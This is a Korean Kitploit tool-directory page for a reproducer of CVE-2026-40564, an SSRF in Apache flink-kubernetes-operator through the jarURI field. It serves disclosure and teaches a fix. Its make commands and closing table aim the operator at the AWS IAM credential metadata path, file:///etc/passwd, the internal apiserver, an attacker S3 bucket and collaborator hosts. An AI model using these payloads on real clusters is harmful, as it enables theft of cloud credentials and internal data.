Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40564 — CVE-2026-40564: apache/flink-kubernetes-operator의 FlinkSessionJob jarURI를 통한 SSRF. 하나의 make 명령으로 로컬 kind 클러스터에서 실행되는 자체 포함 재현기. | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-40564
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: apache/flink-kubernetes-operator의 FlinkSessionJob jarURI를 통한 SSRF. 하나의 make 명령으로 로컬 kind 클러스터에서 실행되는 자체 포함 재현기.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40564: flink-kubernetes-operator의 FlinkSessionJob.spec.job.jarURI를 통한 SSRF

Apache Flink Kubernetes Operator는 FlinkSessionJob(또는 FlinkDeployment) 리소스의 spec.job.jarURI 필드를 확인하지 않습니다. 이러한 리소스 중 하나를 생성할 수 있는 사람은 누구나 jarURI를 임의의 URL로 설정할 수 있습니다. 운영자가 리소스를 조정(reconcile)하면 자신의 파드 내부에서 해당 URL을 가져옵니다. 스킴(scheme)은 http, https, file 또는 Flink에 포함된 파일시스템 플러그인 중 무엇이든 될 수 있으므로 요청은 운영자 파드가 도달할 수 있는 거의 모든 곳으로 전송될 수 있습니다.

  • CVE: CVE-2026-40564
  • 영향 대상: flink-kubernetes-operator 1.14.0 및 main (2026-04-09 기준 1.15-SNAPSHOT)
  • 2026-04-09에 [email protected]와 [email protected]에 보고됨
  • 호출 체인: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

실행

root@kitploit:~
make verify

다음 5단계를 순서대로 실행합니다:

  1. 로컬 kind 클러스터 생성
  2. Helm으로 운영자(1.14.0) 설치
  3. Flink 세션 클러스터를 시작하고 JobManager가 뜰 때까지 대기
  4. webhook.site에서 새 URL을 받은 다음, 해당 URL을 가리키는 jarURI를 가진 FlinkSessionJob 적용
  5. webhook.site를 폴링하여 수신한 요청 출력

작동하면 실행 끝부분은 다음과 같습니다:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

첫 실행에는 약 6~8분이 걸립니다. 대부분은 약 700MB인 flink:1.17 이미지를 받는 데 사용됩니다. 이후 실행은 3분 정도로 더 빠릅니다.

필요 사항

docker, kind, kubectl 1.23 이상, helm 3, make, curl, jq. 클러스터는 webhook.site와 통신할 수 있도록 인터넷에 연결되어 있어야 합니다.

다른 URL로 지정하기

기본적으로 Makefile이 새 webhook.site URL을 자동으로 가져옵니다. 요청을 다른 곳으로 보내려면 SSRF_URL을 원하는 전체 jarURI로 설정하세요. 입력한 그대로 사용됩니다.

root@kitploit:~
# 특정 webhook.site URL 재사용
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# 자체 collaborator 사용 (Burp, interactsh, netcat 리스너 등)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# AWS 인스턴스 메타데이터 서비스
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Flink 파일시스템 계층이 처리하는 http가 아닌 스킴
make verify SSRF_URL=file:///etc/passwd

결과 확인 방식은 대상에 따라 다릅니다. URL이 webhook.site에 있으면 Makefile이 해당 REST API를 읽고 캡처된 요청을 출력합니다. 그 외의 경우에는 운영자 로그를 읽고 HttpArtifactFetcher.fetch 스택 프레임을 찾아 가져오기가 실제로 실행되었는지 확인합니다. WEBHOOK_URL도 동일하게 작동하며 SSRF_URL과 같은 의미입니다.

정리

root@kitploit:~
make cleanup

kind 클러스터를 제거합니다. 아무것도 남기지 않습니다.

발생 원인

세 개의 클래스가 관련되어 있으며, 그중 어느 것도 jarURI의 스킴, 호스트, IP를 확인하지 않습니다.

DefaultValidator.validateJobSpec은 병렬성(parallelism), 업그레이드 모드, 세이브포인트 설정, 리소스 형태를 확인합니다. job.getJarURI()는 절대 읽지 않습니다:

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch는 스킴에 따라 fetcher를 선택합니다. 허용 목록(allowlist)이 없으며 http 또는 https가 아닌 것은 모두 Flink의 파일시스템 계층으로 넘어갑니다:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch는 주어진 URL을 그대로 엽니다. 호스트 확인, IP 범위 확인이 없으며 루프백 또는 링크-로컬 주소에 접근하는 것을 막는 장치도 없습니다:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

공격자가 얻을 수 있는 것

운영자는 일반적으로 넓은 RBAC 권한으로 실행됩니다. 공식 Helm 차트는 secrets를 포함한 여러 리소스 유형에 * 권한을 부여하며, 파드는 일반적으로 제한 없이 네트워크에 접근할 수 있습니다. 운영자가 대신 요청을 보내게 만들 수 있다면 다음을 할 수 있습니다:

  • 클라우드 메타데이터 서비스(AWS, GCE, Azure)를 읽고 운영자 노드에 연결된 IAM 자격 증명을 가져오기
  • 내부 네트워크에서만 수신하거나 운영자의 소스 IP를 신뢰하는 클러스터 내부 서비스에 접근하기
  • 내부 포트를 블라인드로 스캔하고 FlinkSessionJob 상태의 오류 메시지에서 결과를 읽어내기
  • file, s3, hdfs, gs 또는 기타 Flink 파일시스템 스킴을 사용하여 로컬 파일을 읽거나 운영자는 접근할 수 있지만 자신은 접근할 수 없는 스토리지에 접근하기

여러 팀이 동일한 운영자를 사용하는 공유 클러스터에서는 그중 어떤 팀이든 운영자를 이용해 다른 팀의 리소스에 접근할 수 있습니다.

동작하는 다른 URL

재현 도구는 기본적으로 webhook.site를 사용하지만 이 버그는 URL이 무엇이든 상관하지 않습니다. SSRF_URL을 설정하거나 manifests/vulnerable-sessionjob.yaml을 편집하여 다음 중 원하는 값으로 지정하세요:

jarURI도달 대상

수정 방법

DefaultValidator.validateJobSpec에 검사를 추가하세요:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES의 기본값을 Set.of("https")로 지정하세요. s3나 다른 스킴이 필요한 운영자는 해당 스킴을 추가할 수 있습니다.

추가로 해볼 만한 두 가지:

  • 링크-로컬(169.254.0.0/16), 루프백 및 알려진 클라우드 메타데이터 주소로의 이그레스(egress)를 차단하는 운영자 파드용 NetworkPolicy를 추가하세요.
  • AWS에서는 IMDSv2를 활성화하세요. 그러면 SSRF가 작동하더라도 세션 토큰 없이는 메타데이터 서비스를 읽을 수 없으며, 운영자가 세션 토큰을 보낼 이유도 없습니다.

참고 사항

Makefile은 Linux에서 kind를 깨뜨리는 두 가지 문제를 우회합니다. 각 검사는 문제가 실제로 존재할 때만 실행되므로 다시 실행해도 안전합니다.

  1. 루프백으로의 CoreDNS 포워딩. systemd-resolved를 사용하면 kind 노드의 /etc/resolv.conf가 127.0.0.1을 가리키므로 클러스터가 외부 이름을 localhost로 해석합니다. cluster-up 단계는 CoreDNS 설정을 1.1.1.1 및 8.8.8.8로 포워딩하도록 다시 작성합니다.
  2. 운영자 파드가 호스트의 DNS 검색 도메인을 상속하는 문제. ndots가 5로 설정되면 webhook.site 같은 이름에 호스트 검색 도메인이 먼저 추가되고, 일부 ISP는 인식하지 못하는 하위 도메인에 대해 127.0.0.1로 응답합니다. install-operator 단계는 운영자 파드에 자체 dnsConfig를 부여하여 이 문제가 발생하지 않도록 합니다.

전체 실행이 중간에 실패하면 make verify-ssrf를 단독으로 실행할 수 있습니다. 이 명령은 실행 중인 FlinkSessionJob에서 jarURI를 읽으므로 로컬에 저장된 어떤 것에도 의존하지 않습니다.

도구 다운로드
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
AWS IMDSv1, 운영자 파드 노드의 IAM 자격 증명
http://10.0.0.1:6443/api클러스터 내부 apiserver 또는 운영자 IP를 허용 목록에 포함하는 내부 엔드포인트
file:///etc/passwd파일시스템 fetcher 분기를 통한 운영자 파드 자체 파일시스템
s3://attacker-bucket/x.jar운영자 파드의 자격 증명을 사용한 S3